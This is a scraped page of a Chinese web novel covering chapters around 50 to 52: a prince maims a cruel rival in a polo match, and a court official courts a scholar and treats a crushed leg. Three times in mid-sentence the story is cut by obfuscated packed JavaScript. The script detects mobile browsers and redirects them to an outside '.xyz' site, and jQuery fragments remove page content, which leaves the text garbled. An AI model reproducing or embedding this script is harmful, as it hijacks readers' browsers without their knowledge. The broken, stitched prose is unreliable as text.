程良藏不住事儿,跟在刘之衍的月影旁边,仰着头看他:“真什么国的小南蛮子,嘴太刁毒!说庆帝被窦家的母老虎辖治,孩子都不敢生!说殿下无能,骑在女人身上,只能软着腿下来!那耶什么王子,当着众人说的,这腌臜话在外面传遍了!想把他的牙给打豁!”
程霆纠正程二郎:“叫阇耶!”
程飞摇头:“污言秽语,别玷污殿下的耳朵!”
“怎么说?难道藏着掖着?”程良不服气,“你让殿下以为他是好人!一会跟耶什么王子见面,客客气气,人家说我们是软脚狗!那人必定嘲笑,他都朝我们吐唾沫,我们还给好脸色!窝囊!”
刘之衍眺了眼对面。
不远的隔壁,也是一样临时圈出来的栅栏。
阇耶头上缠着小编,发辫用靛青色的缎带系着。那人长着清瘦的脸,窄长眼睛,焦黄的皮肤。脖颈带了黄澄澄的一圈金项圈,上面錾了密密麻麻诡异的符文。
小栅栏里,尘土飞扬。
阇耶骑着骏马,马脖子系了条麻绳,麻绳的末尾,拴着少年的脖颈。那少年被掼倒在地,麻绳绞着他的脖子,让马拖着走。
阇耶御马,用的铁鞭,扬鞭打马,骏马吃痛,奔驰起来不顾左右,胡乱奔跑。
众侍卫怕挨踩碰撞,纷纷躲到一旁。
地上的少年,被拖得左摇右晃,他双手拽着脖子上的麻绳,防止自己被勒死,但他的脸色越来越紫。
“畜牲行径!”程良看了就骂,“他们这是在干什么?”
程飞面色不变,眼神一厉:“你没听昨天李武师说的?这些野蛮猴子,‘视人命为草芥,以屠戮为常事’!你看阇耶在笑,他拿人命玩!”
“哪怕是奴隶,也不该受这样的罪,此子该死!”程良愤恨不已。
晁寒山是粗壮的武人,身长八尺,一副老实相,眼神却有精光:“殿下,阇耶瞧着甚恶,此战恐怕危险。李武师怕你遇险,着我等尽力保全殿下。如果有必要,哪怕暂停赛事,也不要受伤。”
半晌,刘之衍侧头吩咐:“叫一人悄悄的,打听一下被拖着的少年是谁,发生了什么事,最好把人救下来。”
没多时,有人过来回禀刘之衍。
真邑刚征服的一块部落,被马拖着跑的少年,是那个部落首领的儿子,叫苍凛,上供给阇耶作奴隶。苍凛的妹妹,晚上被阇耶拉到帐篷里。苍凛为了保护妹妹不被糟蹋,拿刀刺杀阇耶。
阇耶的胳膊被砍了道狰狞血痕,苍凛放跑了妹妹,但自己被捉住。
来大晋的路上,阇耶想着新鲜花样报复苍凛,但不把他弄死,说是让苍凛活着受罪。
刘之衍派去的的人没出手,刚才有大晋的武将碰巧路过,他见了觉得闹得不像话,出手阻止阇耶的闹剧,顺便把苍凛救下。现在不知道苍凛去哪了。
“找个人去接近苍凛。”刘之衍安排,那侍卫称是,迅速下去了。
天空飘来沉甸甸的乌云,光线暗淡。
真邑国靛青的旗帜,在风里猎猎作响,显得十分阴沉。
刘之衍一身素白骑装,左肩嵌了块纯金肩甲,他御着雪白月影,从围场出来。
正巧阇耶打马出来,迎面撞上。
刘之衍俊美英武,金灿灿,明晃晃,好似天神下凡。阇耶细长的眼睛,情不自禁眯起,小小的黑眸像淬了毒。他长得细瘦,个头小,身量估计只到刘之衍的肩膀,因此妒忌。
过会儿,阇耶笑了,特意用大晋的话挑衅:“哟,原来是太子,我以为你会称病不来!看着人模狗样,就是不知道,一会你的腿软不软!可别哭着喊着,找你娘要奶吃!”
刘之衍从阇耶身边路过。
阇耶把下巴扬起,咧着笑,一口森白的牙:“刘什么衍,我们一会击鞠比赛,谁输了,谁撅着屁股,给对方舔靴!”
阇耶悬停马,等着刘之衍“回敬”他。
但刘之衍充耳不闻,拉着月影的缰绳,径直走过,驶向赛场。
大晋太子随行的队伍,肃然齐整,没有多给阇耶哪怕一个眼神。
阇耶望着刘之衍的背影,脸色越来越黑,他问真邑的随侍:“我说的话,难道他们听不懂?”
真邑此次随行的,有一身披细麻披风的老者,躬身回答:“这是宗主国太子的威仪,不喜不怒,不呈口舌之争。”
阇耶琢磨老者的话,等他明白过来,这是在说,刘之衍根本没把他放在眼里。
阇耶脸色阴沉,扬手将铁鞭,抽在老者背脊上,打出一道红痕:“老不死的,要你多嘴!什么狗宗主!他们就是个屁!”
那老者神情木然,似是对阇耶喜欢打人的行径,习以为常:“大晋尊老敬贤,有数之不清的古之良训,二王子应当省身克己,见贤思齐!”
真邑的使节叹了口气,连忙上来,刻意堆笑打圆场:“哎哟,我的二王子,谁又惹您生气了?咱们赶紧去比赛,让那个太子吃瘪,您顺顺心才是头等大事。”
“你这个狗腿子说的对,我必须要赢!”阇耶昂首,脚踢马腹,“回去就告诉父亲,我能让大晋太子给我舔靴底,也能让我哥舔靴!”
庆帝与窦皇后与一众文武高官,在场中端坐,场中的军士吹响号角声。
击鞠的球是用皮革做的,绣了精美华丽的花纹,打马毬击仗极长,击鞠的骑士,只要把珠球,击入对方的阵中,便是赢了。
大晋观席的习惯,向来是安静平稳的。
真邑国的人见到阇耶进场,大呼小叫,呼喝不止。
应子清和一众宫女,在赛场的角落挤着观看。
刘之衍的骑装,皎洁如白圭,唯有他右手腕间,飘着一抹朦胧绯红,极其惹眼。
一宫女仔细看了许久:“太子殿下那腕子,是不是缠了什么东西?”
另一宫女回答:“没有吧?是裹手的帛缠?”
“胡说,帛缠哪有这样鲜丽的颜色,必是女人使的罗纱!”
“你才胡说,太子身边连妻妾也不曾有,哪有什么女人?”
“准是哪个狐狸精的!”
应子清咳了声:“肃静,不要打扰别人看击鞠。”
那两个宫女掩住口,连忙称是。
场中突然刮起一阵狂风,两个队伍的骏马,将铁蹄一扬,沙尘飞掠,在空中扬起一片黄雾。
在奔驰的马上操作长球杖,很容易打到别人,又或是被人击中。
刘之衍与阇耶的队伍,在场中跑了几圈来回,长球杖互相击打碰撞,发出砰砰的声音。
声音听着沉闷,唯有场中人明白,在骏马
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895859|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的惯力冲击之下,长球杖一击下去,不亚于百斤之力。若是碰在人身上,打个断手与骨折,血肉横飞,不在话下。
阇耶拉着缰绳,不围着珠球跑,反而绕在刘之衍坐骑的后面。
程飞提防着阇耶,一路护着刘之衍,也跟在周围。
又是一次抢珠球,众人御着马,挥舞长球杆,齐齐朝珠球击打。
趁着众马纷纷攘攘,飞沙扬砾,眼花缭乱之际,冷不防,程飞的胳膊,被阇耶的长球杖碰了一下。他的左肩膀一塌,顿时脸色煞白,豆大的汗珠从脸颊滚落,缰绳也拉不动了。
晁寒山回头看了眼,觉得不对,当即纵马过去:“怎么了?”
程飞咬紧牙,腮帮鼓起:“我左手多半骨裂了。”
赶过来的程良听见,涨红了脸:“珠球在地上,球杖怎么打到胳膊那么高?他准是下黑手!这是什么狗王子,好歹毒!大哥,我去会他一会!叫他吃个狗啃泥!”
程飞睁圆了眼睛:“阇耶不是一般人,打伤了要问罪!你不要给殿下惹麻烦!”
程良吐口水,怒道:“草!打不得碰不得,我们就这么让人欺负揉搓?”
晏亦海观察片刻,关心道:“要紧吗?可要换人?”
程飞白着一张脸摇头,汗珠直淌:“不必!我能撑!”
众人齐齐看过去,阇耶挑衅似的,咧嘴大笑,露出一口森白的牙。
“不是不能反击,要看谁打伤的。”刘之衍骑着月影过来,看着阇耶,眼神平静。
“殿下!你不要出手!”晁寒山当即反对,“球场乱起来,冷箭难防,可就麻烦了!”
刘之衍没作声,手持长球杖,月影甩开雪白的马尾,再一次返回场中。
“太子,原来你会骑马。”阇耶见打伤了对方的人,洋洋得意,对刘之衍隔空喊话道,“我的球杖打到你的人,真是不好意思,你不要生气啊。”
“谁叫你跟生鸡蛋似的,被你的护卫严密保护,接近一下都接近不了。”阇耶抱怨,“这击鞠打得不痛快!”
刘之衍仍旧沉默,阇耶不以为意。
铁蹄阵阵,珠球在球杖的挥舞下,飞来掠去。
时间差不多过半,不论是御者还是骏马,力气肉眼可见的消耗,珠球飞向空中的速度,明显变慢了。
阇耶又一次挥舞长球杖,发现自己的手臂,有些软了。击打珠球时,他变得力不从心。
恰在此时,刘之衍抬起眼。
阇耶对上刘之衍黑沉的眼眸,后颈升起寒意,心中不自觉打了哆嗦。
大晋向来以礼仪之邦著称,他们的太子,应当守礼而行,重德重行,言辞谦逊,文质彬彬……因而在武艺上,显得不是那么擅长。阇耶知道,这样的太子知书达理,但金贵娇弱,因此被众护卫牢牢保护。
阇耶对此嗤之以鼻,觉得不能打的男人,就是窝囊废,两根指头能捏死的蚂蚁,他没把刘之衍当回事。
可这个时候,他感觉不对劲。
出于对危险的警觉,以及对强悍力量的敏感,阇耶心中颤了颤。
可是刚才跟刘之衍的护卫们周旋,耗去不少力气,他的骏马早已气喘吁吁。尽管阇耶在第一时间催马而行,但不论是他的身体,还是他的骏马,反应迟缓。
阇耶瞪着眼睛,傻乎乎地呆在原地,眼前的一切,仿佛变得缓慢。
刘之衍的手臂仍旧沉稳有力,不见丝毫减弱,甚至更快,手持重剑一般,他将长球杖一挥。
而刘之衍球杖的末端,飞出些许木刺。
飘在天空,如同飞絮濛濛。
怎么回事?阇耶在心中疑惑,为什么满场寂静?
过了半刻钟,阇耶迟缓地发现,有血迹从自己发麻的嘴边,汩汩流出。而他整个人覆在地上,半只眼睛看着天空。
51. 第 51 章
阇耶吐了吐带血丝的唾沫,有凉风灌入喉间,嘴巴空空的。
他微微挪动脑袋细看,发现他那口引以为豪几颗门牙,滚落在眼前。
阇耶骑的那匹骏马,倒在旁边哀哀嚎叫。
骏马的一条腿,被刘之衍的长球杆打断,马摔了,把主人一齐带倒在地。
从刘之衍挥杆,到阇耶摔马,不过是一霎那的事。
阇耶根本没时间反应,他的脸先着地,碰断一口牙。
阇耶浑身痛得浑浑噩噩,不清楚自己是不是断手断脚了,他动也不能动,静静躺在球场的沙地中央。
满场哗然,全都怔在那里。
真邑的仆从迅速赶来,手忙脚乱扶起阇耶,大晋的太医恰恰赶到,阻止他们说:“慢着,不要乱动,恐怕损伤更重。”
太医挥挥手,叫医士们上前,把阇耶抬上担架。
阇耶朝远方睨了眼。
刘之衍御着雪白的月影,马蹄踢踏,一步一步,朝他的队伍走去。
从头到尾,刘之衍没有回过头,看都不看。
大晋的太子,在做出动静这么大的事情后,连后怕与悔过,也不屑于装。
阇耶后知后觉想起,他曾经听过,关于刘之衍“戾太子”的传闻,以及庆帝对他的严厉管教!围绕在刘之衍身边的护卫,也许不是为了保护太子,而是防止他出手伤人!
他是不是惹到不该惹的人了……阇耶深深闭上眼,怀着忐忑和忧心,昏睡过去。
程飞一干人等,安静恭敬,迎接刘之衍归来。
刘之衍路过程良时,对他说:“你的想法很好。”
什么想法?!
程良不敢多问,但这个疑问,在心里打转。
过了半晌,程良方才回忆起,程飞受伤之际,他脱口说过,他要会一会真邑国的狗王子,让他摔个狗啃泥。
刘之衍指的,就是这个想法?
程良说出来后,刘之衍在极其短暂的时间内,拟出如何让阇耶摔马的计谋。
计谋想好了,刘之衍并不着急,而是慢条斯理拖延时间。他的耐心极好,蛰伏着,一直等到场中的人和骏马,消耗大量体力过后,气喘吁吁之下无力反应——刘之衍掐准了点,干脆利落地出手,挥舞长球杆,打断阇耶骏马的马腿!
一击必杀!
太子竟然可怕至此!
程良顿时起了一身的鸡皮疙瘩,他觉得又激动又敬畏。
大晋朝人才济济,武艺不难得,智谋不难得,难的是二者皆全!
刘之衍想出的这个计谋,还得有与之匹配的武力才行!
毕竟刘之衍也在马场上奔跑,别人都气喘如牛,但他还有余力去打断马腿!那是何等惊人的武力!
怎么不叫人敬佩。
应子清朝场中帝后端坐的方向看过去。
真邑的使臣坐一小几上,满脸悲愤,庆帝微微倾身,似是安抚他。
众目睽睽之下,珠球跑到阇耶的马蹄下,这是大家都看到的,刘之衍挥杆击球,合乎常理。
只是球场无眼,福祸无常,只能自当承之。
真邑使臣也没有证据,证明刘之衍是故意的。
太医处理完阇耶的伤势,躬身跑向庆帝,汇报伤情。看起来阇耶的状况不致命,真邑的使臣渐渐安静,沉吟不语。
些许阳光破云而出,刘之衍威风凛凛御着月影。清亮的光落在他身上,显得他那张白皙俊美的脸,更加冰冷无情。
有庆帝帮忙善后,刘之衍仍然留在球场,准备下一次的比赛。
薛沛南换了身骑装,骑在马上,在击鞠球场的外围等着。因为被断发,发量变短变少,他的头发包了一层厚厚的幞头。
薛沛南望着场上的刘之衍,不禁咬紧牙关,下颚绷紧,但他握缰绳的手,正在微微颤抖。
与阇耶一战,最是危险。
输赢已经定了,虽然结果令人心惊,好歹是赢了。
下午击鞠漫长,除了等这些公子们下了场,还有年轻的武将轮流比赛。
难得抽身出来一趟,应子清心中惦记另一件事,她跟香巧语兰嘱咐一声,牵了绯云骢,骑了马先回长安城。
进城以后,应子清调转马头,向一角偏僻坊间跑去。
普济寺庙门口,之前搭建的粥棚撤去,重归清净古旧。
不过,在寺庙角落,新修起几座新屋。房屋与寺庙之间拉起一道帷帐。既入伽南,要剔去三千烦恼丝,因此帷帐之外的房屋里,住的是凡俗百姓。
应子清在新屋附近转了一圈,新屋里住的孤儿寡母居多,他们大多咳嗽不止,或是满脸病容,闭目躺在屋内。门外的廊下,升起一排药炉,烧着火,药味熏天。
这里人来人往,大多是附近的百姓,他们来送些日常用品。
应子清转身出去,找到主持,把之前得到的赏赐,赠予普济寺。
“善济长老,”应子清摘下草帽,在主持面前坐下,“刚才我去后院转了转,心中有几个疑问。是不是病人病情总是反复?而新的病人送进来,有病情加重的趋势?”
主持闻言一愣,叹口气:“施主说得不错。上次施粥时,我等见诸多饥民之中,有不少染病之人,便将他们收留于寺中,待他们病好可自行离去。但我寺是清修之地,人力匮乏,虽然竭尽全力,还是有诸多事务难以周全。既然施主提出来,可是知道如何应对?”
应子清点头,她曾经做过慈善工作,知道非专业人士贸然投身救治工作,容易浪费资源,效果还差。普济寺原来是座小庙,没有承接过接纳病人的业务,手法生疏,所以才有这样不良结果。
“济病扶危,是好事,可是须得有常法。有规矩才能成方圆,依章法而行,事半功倍。”应子清作了个请,“麻烦方丈给我笔墨,我写一些条例,虽然不敢称万全,但或许能为贵寺救治病患之事,略尽绵薄之力。”
善济长老一听大喜,亲自去找笔墨纸砚,递与应子清。
应子清照着以前做慈善的方法,写下一份救治方案,和各种应急处理。
应子清用词不太讲究,胜在直白易懂,条理明晰。
只要一看,心中便有了丘壑,做事也不会懵懂慌乱了。
善济长老接过细细研读,越读心中越是惊讶,他抬头重新打量这位少女。
应子清被方丈看得心虚,该不会嫌她字丑吧。
这个地方的文雅之士,人人以书法称道,她这样的笔迹,是拿不出手。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14910200|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>应子清低下头,掩饰地咳嗽:“我虽然识得字,但疏于练习,请方丈不要嫌弃,看得过去便是。”
善济长老一叹,连称不敢:“是贫僧未曾料到,施主有有这般深远的见识与周全的谋划,心中惊讶罢了。这些条例清晰,切实可行,乃是济世之良方,令贫僧大开眼界。”
“还请施主暂留片刻,贫僧先把目录交与首座,不要耽误病人的病情才是。”善济长老拿着应子清写的东西,急急走了出去。
菩提树开得枝繁叶茂,阳光从缝隙间落下,在地上撒出一地斑斓光影。
那光影里,走入一位身穿水绿袍衫青年男子,此人面容白皙,眉眼清俊,目光温和从容,端得是一派尔雅贵公子。
方丈从月白洞门间走出,却被那名青年男子叫住。
谢言昭问:“善济长老何事如此着忙?”
善济长老一见是他,笑起来:“谢公子,你看看,这是什么?”
谢言昭不明所以,接过善济长老手中的几页黄纸。
匆匆扫了片刻,谢言昭失笑摇头:“看着有少女的娟秀,行文间鲜活生气,观之有趣。到底笔力稚嫩,重心不稳,不算好字。”
善济长老摇头:“不是看字,是看意思,谢公子再读一读。”
谢言昭越读,面色越认真:“这是谁给你的?”
善济长老笑起来,卖关子道:“你就说如何吧?”
“那么多事看似细且杂乱,被此人三言两语,梳理通顺。说明此人思路之清晰,谋划之周全,令人赞叹。”谢言昭好奇道,“此人叫什么?人在哪里?可否与此人结交一番?”
在谢言昭走进来的时候,应子清便在一旁停住。她也很好奇,这位坐上中书舍人之位的谢家贵公子,是否如传言所说的那么天才。
谢言昭虽然讲的清清淡淡,但句句推崇,肯定她的才思,应子清也很高兴。
应子清想了想,自打谢家女与太子的婚事搁下,谢氏对太子的态度变得混沌不明。之前刘之衍有意相邀,但谢言昭拒绝了。
这么看,绝不是什么好兆头。
刘之衍如今想壮大自己的实力,招揽有志之士。而她想坐上太傅之位,须得有功劳在身,否则就算她坐上去,也像个花架子,难以服众。
应子清当即给自己定下任务,拉拢谢言昭。
应子清拿着草帽,大大方方走出来,直直朝谢言昭看过去:“我在旁边都听见了,感谢谢公子的夸奖。这几页黄纸,是我写的。”
应子清站在谢言昭面前,微微仰着头看他,带着笑:“在下灵清子。”
清风拂过,明媚光影落在少女明亮的眼睛里,像是映在水面的皎洁月色,清辉流转间,自有一股纯净无瑕的出尘清丽。少女漂亮得那样灵动,叫人难以抓住,乍一眼看过去,便觉得不够,想一直一直看下去。
谢言昭有一瞬看得失了神。
“谢公子?”应子清依然在笑。
谢言昭回过神,匆忙移开眼睛,清淡的眉心微微蹙紧。
他认识此人,绝非什么所谓的灵清子,而是东宫应司直!
谢言昭从谢凝荷口中,听过很多次关于应子清的事,知道她是太子眼中的红人,又抑或是,太子的红颜知己。
52. 第 52 章
谢言昭脸色冷淡下来,言语动作透着疏离:“抱歉,在下不知是姑娘的笔墨,是我唐突了。”
应子清笑意一僵,心中奇怪:“你认得我?”
“认识,你是东宫应司直。”谢言昭目光望向别处。
应子清见他清楚自己的底细,亦不慌乱:“方才,我报的是我的名号,灵清子。谢公子,我想以谋士身份,与阁下结交,如何?”
谢言昭不以为然:“灵清子?姑娘,莫不是以为随意取了个别号,便摇身一变,真成了运筹帷幄的谋士?”
应子清愣住,眼睛微微睁大。
谢言昭神色平静,略带冷然:“我见过不少人,不过读了两本书,取一两个雅号,便自以为是诗仙了。姑娘,你既然在东宫谋事,应当恪守本分,将本职的事情做好,以尽臣子之责,切莫沾染这些轻浮之气。”
应子清语塞,这个人怎么转变如此之快:“可你刚才不是……”
谢言昭抬起眼,一双温润的浅褐眸子,琉璃般剔透:“姑娘,你与我家小妹是相识,听说你双亲早逝,家中无人教引。我年岁比你大,不妨以兄长的口吻,劝解你几句。正经来说,你应该恪守闺训,待字闺中,静候良人来聘,这才是女子的归宿。”
谢言昭说着说着,不禁严肃,不自觉地把平时教训妹妹的口吻拿出来:“谋士一职,须得与人周旋应对,唇枪舌剑论道争锋。有时还会涉足势力利益之争,引来杀身之祸!这样的事,不适合你一个姑娘家。我建议你,老老实实在东宫谋职,等放出宫后,择一良人,如此一生安稳顺遂,才是正途。”
应子清越听越窝火,什么叫老古板迂夫子!
这就是!
这个谢言昭,外表长得眉清目秀,内里居然如此墨守成规!
一口一个姑娘,一口一个待嫁闺中,实在可恶!
怪不得谢凝荷吐槽,说她羡慕应子清能在宫中谋职。
有这么一个老古板当哥哥,天天耳提面命,按压她的天性,让她学着如何当温顺的女子。虽然字字关切,但实在让人火大!
或许怜惜应子清的家境,谢言昭觉得没说够,再度皱眉:“姑娘,东宫风评不好,依我之见,你还是与他保持距离微妙。太子身份尊贵非凡,岂是寻常人可比。此时,他或许对你真情流露,但人心易变,以后的事实难预料。如果将来,东宫妃嫔成群,怕姑娘受委屈……”
善济长老见眼前的少女,一张小脸,红红白白,估计气得要死又不好发作,他欲言又止,正想开口劝解。
听了半晌,应子清把气出来的血,努力往肚子里吞。
她忍了!
毕竟她是来拉拢谢言昭,而不是得罪他的。
话不投机半句多,应子清懒得多言,将草帽仔细戴好,沉稳打断他:“谢公子,此事无需说得太过决绝。我有心与谢公子结交,不急于一时半刻。至于我有没有实力,假以时日,谢公子方知我的诚意。”
但在转身离去前,应子清忽然回首,从帽檐下,露出一双清冷的眼睛:“你的妹妹曾对我说,她羡慕我在宫中做女官,希望自己有一番建树,你知道这件事吗?”
谢言昭微微怔住。
“你自然不知。”应子清心里冷笑,爹味这么重,你亲妹妹肯定不跟你说知心话,“谢公子,你也许是好意,可惜只知道自顾自说,从来不考虑他人真实想法。好话说得再动听,也该看看,是不是别人想要。”
仔细想想,这是她遇到第一个怜悯她身世,愿意劝诫她的人。应子清忍了忍,到底还是吐出这句话:“否则,你一腔赤诚,只会把你的妹妹推得越来越远。”
应子清向善济长老与谢言昭抱了抱手,告辞离去。
最近,谢凝荷总是茶饭不思,整个人瘦了不少,偶尔还会静静落泪。问她,她又什么都不说。
谢言昭心疼妹妹,可是他每每找她谈话,只会让妹妹烦闷,将他赶出去。
他公务繁忙,好不容易有时间,又吃了闭门羹。谢言昭没有别的办法,面对妹妹的苦恼不知所措,他亦是满心烦忧。
却不想,意外听到应子清这番警示,谢言昭望着少女离去的背影,沉吟不语。
应子清出了门,牵了绯云骢,心里还是憋了一股气。
她正想纵马一番,畅快一下,却不防有一辆精致马车,缓缓驶来,挡住她的去路。
车帘掀开,刘之衍正坐在里面,冷冷看着她。
应子清只得下了马,跟着上马车。
刘之衍面色冰冷,默不作声,好像她犯了天大的错误。
应子清琢磨半天,没想明白自己犯了什么错。
刘之衍见她竟是一脸坦然,紧了紧手指:“谁准许你私自离开?”
……
应子清咳嗽了下,连忙拍马屁转移话题:“以你的英明神武,第二场,我想你必定赢了!我猜的对不对?”
刘之衍冰块脸稍稍融化:“嗯。”
不过,不等应子清松快多久,刘之衍又说:“下午对阵时,薛沛南摔伤了腿,怕是以后难站起来了。”
“怎么回事?”应子清吃了一惊,“你这话的意思,难道是你做的?”
“他怕我。”刘之衍神色不变,淡淡道,“大概薛沛南见我伤了阇耶,以为我也会针对他。击鞠现场,薛沛南一直躲着我跑。可是赛场就那么大,他骑着马,朝我撞来,又想后退。御马最忌讳三心二意,薛沛南左摇右晃,自己从马上滚下来。”
应子清听得紧张,又问:“你刚才说他难站起来,是什么意思?”
“薛沛南的马,慌乱之际,把他踩了,大概踩碎他的腿骨。”刘之衍看着她。
应子清哑然。
难以想象,断发对他们来说,是如此恐怖的事,竟然让薛沛南畏惧刘之衍到这个程度。
可是,应子清面色转为凝重,伤了阇耶不可怕,毕竟他以后会离开大晋。
但薛沛南是宰相之子,薛正源还在朝中一天,就掌握着一天的大权。应子清难以预料,薛正源会不会把这件事,怪到刘之衍头上。
可是她能确信,若是薛沛南当真残废,薛正源对刘之衍,一定心存芥蒂。
若是能救治薛沛南,倒不失为一个好转机。
“我们去宰相府看看薛沛南吧,”应子清抬眸,建议,“我或许能救治他,也说不定。”
她这么一说,刘之衍便知道她的所思所想,他不以为意:“何必?薛沛南自找的,宰相虽说不会亲近于我,但也不会怪罪于我。”
末了,刘之衍一脸冷漠:“那小子敢觊觎你,在榻上躺一辈子最好。”
“别开玩笑了,”应子清叹口气,“救了他,对你有好处。”
刘之衍盯着她,他没有答应,反而用力握住应子清的手腕:“在这件事上,我从不玩笑。”
应子清对上他淬满寒意的黑沉双眸,方知他是认真的。
刘之衍真准备让薛沛南一辈子,窝窝囊囊躺在榻上!
应子清看得心惊:“你何必揪着这一点不放?事关正事,而且我去救他,也是顺手为之。”
刘之衍握她的力气变大:“顺手为之?他本对你有意,你还去救他,你说,薛沛南会不会对你更加念念不忘?”
刘之衍已有愠怒之色。
应子清一阵无语,在谢言昭那里存的气,到此刻也没消散。刘之衍又在这里胡说八道,她也怒了:“退一万步说,他纠缠我,我就要回应他吗?难道我没有自己的眼光吗?他一个色鬼,空有一副皮囊,没胆气没勇气,谁会看上他!你都比他好!”
最后一句话,简直余音绕梁,两人的耳朵都薄红了。
刘之衍松开手劲,他很轻地哼了声:“不要以为我不知道,你是故意恭维我。”
应子清揉着手腕,音量虽然轻,却是坚定:“救人一命,胜造七级浮屠。即使没有这层关系,我也无法见死不救。”
刘之衍把她的手腕拉过来,一双大手没轻没重地替她揉搓,然后对外吩咐:“转道去宰相府。”
“是。”车夫立即回答。
应子清给他搓得生疼,又不好再惹他,怕他改了主意,只得默默忍了。
马车在宰相府门口停下。
应子清和刘之衍商量,他最好不要露面,在这里等着,她进去看看情况再说。
将草帽一遮,应子清向宰相府的侍卫通报自己的身份,随后呆在原地,等待他们的验证。
孟医士恰好从府中出来,他看见应子清,微微惊讶:“是你。”
应子清点头:“我略通一些医理,来看看能不能帮忙。”
孟医士闻言,恍然道:“是了,下官记得,应司直的医术不错。可这一次,恐怕没那么简单,用好药也难治。”
“怎么回事?能不能说一说你知道的病情?”应子清碰到这人,感觉自己运气不错。
听一听他们的诊断,她也好想一想对策。
孟医士叹口气:“可以。”
应子清大概听孟医士介绍了下情况。
薛沛南大约是被马踩断骨头,粉碎性骨折。
大晋的太医医术高明,但毕竟条件有限制,他们将寻常的骨折与粉碎性骨折,当成一样来治疗。因此治愈情况,时好时坏。
应子清略略琢磨一番,拟出几个治疗方案。
孟医士见她镇定自若,似是有了主意,他心生好奇,也不走了,转身跟着她一起进去。
薛沛南刚喝了药,浑身药味,躺在榻上,周边有大夫丫鬟忙来忙去。
门口有小厮探头探脑,小声报:“东宫应司直求见,公子要见吗?”
薛沛南猛地睁开眼,眼底有一丝幽暗划过:“带进来!”
室内灯火通明,临窗的榻边,薛沛南额头绑了一块丝绸冠带,清俊的脸煞白瘆人。
应子清走近了仔细端详他:“听太医院的说,你大约再也站不起来了。”
薛沛南隐忍似的,闷声咳嗽一声,睁眼看她:“你来看我有多可怜吗?”
然而,薛沛南尽管狼狈,却还是挑起一个笑:“可是子清,我向太子求娶你,并不后悔。”
应子清愣了下,冷声道:“不是,我拟了几个方子,也许能保住你的腿。”
薛沛南装模作样的轻佻笑容,消失得一干二净,他看她的目光变得认真:“你能治?”
圣人特意派太医,救治薛沛南的伤势。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916084|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
太医院集合了天底下最好的大夫,但他们对薛沛南的伤势,没有信心。因为医书里的案例,写的明白,被马踩断腿的人,大多殒了命。他还能活着,能说话,已经是上天垂怜。
听完太医的诊断,薛正源叹气离开,薛沛南面上还在强撑,其实心中灰了大半。
乍然听见应子清说她能治,还是抱住腿这种话,薛沛南如何不激动。
应子清也不多言,摘下草帽,解开斗篷,放在一边。
她上前,利落掀开薛沛南盖在腿上的毛毯。孟医士在旁,应子清有鼻子有眼地问了几句,孟医士一一作答。
应子清点了头,清创与消毒的步骤,以及固定好骨头的位置,医士们已经做完了。
她要做的,就是用针灸的方式,调理薛沛南腿部的血气,避免肌肉萎缩。
但应子清注意到,一般骨折受伤后,复健是个很重要的过程。但由于在古代,医疗条件太差,一旦重伤后,患者的心理打击非常大,连太医与医书都如此信誓旦旦,导致患者真以为自己再也站不起来。过度的消极心理,让他们卧床不起,错过最佳的康复时机。
这一项,才是她的治疗重点。
应子清言语上没说太多,而是希望通过她镇定的动作,给薛沛南传递信心。
向孟医士借了几套针灸工具,应子清检查一遍薛沛南的肿胀的腿,从针盒中取出银针。
“用银针活血化淤?这也不是没想到。”孟医士边看,轻声道。
“我使用的不是常规的治疗方案。”应子清下巴微扬,从身上取出一盒莹绿色药膏。
这是之前刘之衍掌心受伤时,她专门配置的,有消炎镇痛的疗效。
应子清拿起银针,在火烛下烧了片刻,涂了点莹绿药膏,找准穴位后,动作极其缓慢且确定地刺进。
烛火的幽光,在少女清秀的侧脸跃动,忽明忽暗。
应子清明亮的双眸,专注镇定,无形中带起一股神奇迷人的吸引力。
连孟医士一时也看呆住了。
应子清抬起双眸,直视薛沛南的眼睛,语气轻柔迷幻:“我这盒膏药,是我殚精竭虑,遍寻良方所致,有‘肉白骨’的奇效。神药集天地精华,最有灵气,也最通人性。唯有患者与膏药相辅相成,才能出奇效。”
薛沛南见她如此动作,心中早就折服,情不自禁接话:“我如何才能让膏药发挥效果?”
应子清坚定道:“重要的是信心,你要相信自己能站起来,若是有片刻气馁,效果就没那么好。”
“信心?”薛沛南喃喃道。
太医离开后,薛沛南躺在床上幻想自己下半辈子,都只得如此困顿,那种心灰意冷,叫人绝望。他低头思索,忽地明白了大半。
“对。”应子清肯定。
薛沛南默不作声,目光渐渐变得深沉,一直看应子清利落地施完针。
待她差不多收了手,薛沛南握住她的手,心口不住起伏:“子清,你不愿意见我落难,所以只身前来,对不对。”
